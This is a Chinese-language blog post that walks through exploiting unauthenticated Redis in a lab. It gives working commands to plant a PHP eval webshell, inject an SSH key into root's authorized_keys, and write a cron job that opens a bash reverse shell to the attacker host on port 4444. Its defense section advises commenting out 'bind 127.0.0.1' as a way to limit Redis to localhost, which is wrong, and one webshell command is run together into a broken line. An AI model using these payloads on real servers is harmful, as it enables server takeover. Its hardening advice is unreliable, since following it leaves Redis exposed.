临渊羡鱼,不如退而结网
.

redis未授权访问漏洞复现

注意:本文仅供学习交流使用,环境皆为虚拟环境,禁止用于任何非法用途,发生的任何事与本人无关!!!

小白一枚,如有错误请指正!!!

简单来说,就是没有设置相关防火墙规则,将redis服务暴露到公网上,并且未设置密码或为弱密码,导致攻击者利用redis进行一系列操作,到最后拿到服务器的权限。

实验思路介绍

两台装有reids的服务器,其中一台靶机存在redis未授权访问漏洞,另一台作为攻击机去验证并利用漏洞

实验环境

A:192.168.92.137,存在redis未授权访问漏洞,有web服务(http服务)

B:192.168.92.136

安装web服务

我使用的是一键安装,可以参考我之前部署lamp的文章,这里不多介绍

https://www.cnblogs.com/maohai-kdg/p/12995041.html

wget -c http://soft.vpser.net/lnmp/lnmp1.6.tar.gz && tar zxf lnmp1.6.tar.gz && cd lnmp1.6 && ./install.sh lamp

 安装redis

可以参考我之前redis服务部署的文章,非常详细,这里不再多做介绍

https://www.cnblogs.com/maohai-kdg/p/11757328.html

https://www.cnblogs.com/maohai-kdg/p/13426831.html

配置redis未授权状态

redis装好后,修改redis.conf配置文件

vim  /etc/local/redis/etc/redis.conf

a、注释bind 127.0.0.1
# bind 127.0.0.1

b、启用守护进程,可以在后台服务
daemonize yes

c、关闭保护模式,这样外网可以访问到
protected-mode no

 如果有密码需设置为无密码状态,即,将密码设置为空密码状态

config set requirepass ''

 远程连接验证

我们在136A服务器上将redis设置为未授权访问状态,现在,通过另一台服务器上的redis去验证是否能够连接到136A服务器上的redis,可以发现直接无账号成功登陆redis

redis-cli -h 192.168.92.137

从登陆的结果可以看出该redis服务对公网开放,且未启用认证

redis未授权访问利用

1.在web目录下写入一句话木马,通过菜刀连接

首先需要知道web的目录,由于是自己搭建的环境因此知道具体目录,这里假设通过其他方法知道了web服务器目录所在

config set dir /home/wwwroot/default/set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save 

这里可以在137上的/home/wwwroot/default/目录下验证是否有webshell.php文件

好了,下面可以用菜刀连接了

 可以看到已经连上了,其他操作就不用再说了吧

2.利用公私钥认证获取服务器root权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在136中生成公钥和私钥

ssh-keygen -t rsa

进入.ssh目录:cd /root/.ssh/,将生成的公钥保存到1.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

连接接靶机上的redis服务,将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入)

cat 1.txt | redis-cli -h 192.168.92.137 -x set crack

远程登录靶机的redis服务,使用config get dir命令得到redis备份的路径

redis-cli -h 192.168.92.137
config get dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys

config set dbfilename authorized_keys
config get dbfilename
save
exit

现在可以通过公钥连接了

3.利用crontab反弹shell

 在攻击者服务器(136)上监听一个端口(未被占用的任意端口)

nc -lvnp 4444

连接redis,写入反弹shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.92.136/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

过一分钟就可以收到shell了

防御措施

1.修改redis.conf配置文件

只对本地开放,将bing127.0.0.1注释掉

#bind 127.0.0.1

2.在配置文件中添加redis服务密码

requirepass  mypasswd

 3.在需要对外开放的时候修改默认端口(端口不重复就可以)

port 2344

4.以低权限运行redis服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

 5.配置防火墙策略

 iptables -I INPUT -p TCP --dport 6379 -j DROP

 

posted @ 2020-08-13 21:19  胖胖小飞侠  阅读(388)  评论(0编辑  收藏  举报